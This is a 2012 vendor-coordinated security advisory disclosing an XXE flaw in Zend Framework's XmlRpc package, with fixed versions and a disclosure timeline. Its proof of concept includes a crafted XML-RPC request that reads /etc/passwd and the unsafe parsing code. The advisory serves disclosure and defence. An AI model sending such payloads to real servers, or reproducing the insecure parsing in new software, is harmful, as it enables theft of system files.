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HistoryJul 09, 2012 - 12:00 a.m.

SEC Consult SA-20120626-0 :: Zend Framework - Local file disclosure via XXE injection

2012-07-0900:00:00

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SEC Consult Vulnerability Lab Security Advisory < 20120626-0 >

          title: Local file disclosure via XXE injection
        product: Zend Framework

vulnerable version: 1.11.11
1.12.0 RC1
2.0.0 beta4
and earlier versions / branches
fixed version: 1.11.12
1.12.0 RC2
2.0.0 beta5 / trunk
impact: Critical
homepage: http://framework.zend.com/
found: 2012-06-18
by: K. Gudinavicius
SEC Consult Vulnerability Lab
https://www.sec-consult.com

Vendor description:

"Extending the art & spirit of PHP, Zend Framework is based on simplicity,
object-oriented best practices, corporate friendly licensing, and a rigorously
tested agile codebase. Zend Framework is focused on building more secure,
reliable, and modern Web 2.0 applications & web services, and consuming widely
available APIs from leading vendors like Google, Amazon, Yahoo!, Flickr, as
well as API providers and cataloguers like StrikeIron and ProgrammableWeb."

Source: http://framework.zend.com/about/overview

Vulnerability overview/description:

The XmlRpc package of Zend Framework is vulnerable to XML eXternal Entity
Injection attacks (both server and client). The SimpleXMLElement class
(SimpleXML PHP extension) is used in an insecure way to parse XML data.
External entities can be specified by adding a specific DOCTYPE element to
XML-RPC requests. By exploiting this vulnerability an application may be
coerced to open arbitrary files and/or TCP connections.

Other software that uses the XmlRpc package of Zend Framework is then also
vulnerable to XML eXternal Entity Injection attacks!

Proof of concept:

For example, the loadXml function (Zend\XmlRpc\Request.php and Response.php)
fails to disable external entities when parsing XML data. There is no call to
the libxml_disable_entity_loader function before initializing the
SimpleXMLElement class. Related code excerpt:

public function loadXml&#40;$request&#41;
{
    if &#40;!is_string&#40;$request&#41;&#41; {
        $this-&gt;_fault = new Zend_XmlRpc_Fault&#40;635&#41;;
        $this-&gt;_fault-&gt;setEncoding&#40;$this-&gt;getEncoding&#40;&#41;&#41;;
        return false;
    }

    try {
        $xml = new SimpleXMLElement&#40;$request&#41;;
    } catch &#40;Exception $e&#41; {
        // Not valid XML
        $this-&gt;_fault = new Zend_XmlRpc_Fault&#40;631&#41;;
        $this-&gt;_fault-&gt;setEncoding&#40;$this-&gt;getEncoding&#40;&#41;&#41;;
        return false;
    }
    
    [...]

    }

If a web application uses the Zend_XmlRpc_Server() class
(Zend\XmlRpc\Server.php) to handle XML-RPC requests, it is possible to
disclose arbitrary local files from the remote system. The following HTTP POST
request to the vulnerable XmlRpc server application illustrates the
exploitation of this vulnerability.

POST /xmlrpc_server.php HTTP/1.1
Host: $host

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>

Vulnerable / tested versions:

The vulnerability has been verified to exist in versions 1.11.11 and
2.0.0beta4 of Zend Framework, which were the most recent versions at
the time of discovery.

Furthermore, previous versions and 1.12.0 RC1 are also affected.

Older branches are also affected but won't be fixed by Zend as they are not
maintained anymore. Their policy is to fix the current minor release
and the immediate previous minor release.

Vendor contact timeline:

2012-06-18: Contacting vendor through [email protected]
2012-06-18: Vendor: Very fast reply, fixes issue already after 3 hours!
2012-06-18: Confirming server-side fix, adding recommendation for XmlRpc
client code
2012-06-19: Vendor: XmlRpc client code also fixed
Confirming fix
2012-06-20: Contacting local CERT
2012-06-20: Vendor: starts packaging, expected release of 1.11.12 and
1.12.0RC2 by end of week, ZF2 trunk already fixed, next beta
2.0.0beta5 will be released late next week
2012-06-22: Vendor: Packages are created and staged, packages and security
announcement will be released on Monday
2012-06-25: New packages and Zend security advisory released by vendor
2012-06-26: SEC Consult releases security advisory

Solution:

Upgrade to the latest version available, e.g.

v1.11.12
v1.12.0 RC2
update ZF2 master trunk

If you are using an older branch you are urged to upgrade!

Zend framework security advisory:
http://framework.zend.com/security/advisory/ZF2012-01

Download link for new releases:
http://framework.zend.com/download/latest

Commits:

http://framework.zend.com/code/log.php?repname=Zend+Framework&path=%2F

Workaround:

None

Advisory URL:

https://www.sec-consult.com/en/advisories.html

SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com

EOF K. Gudinavicius, J. Greil / @2012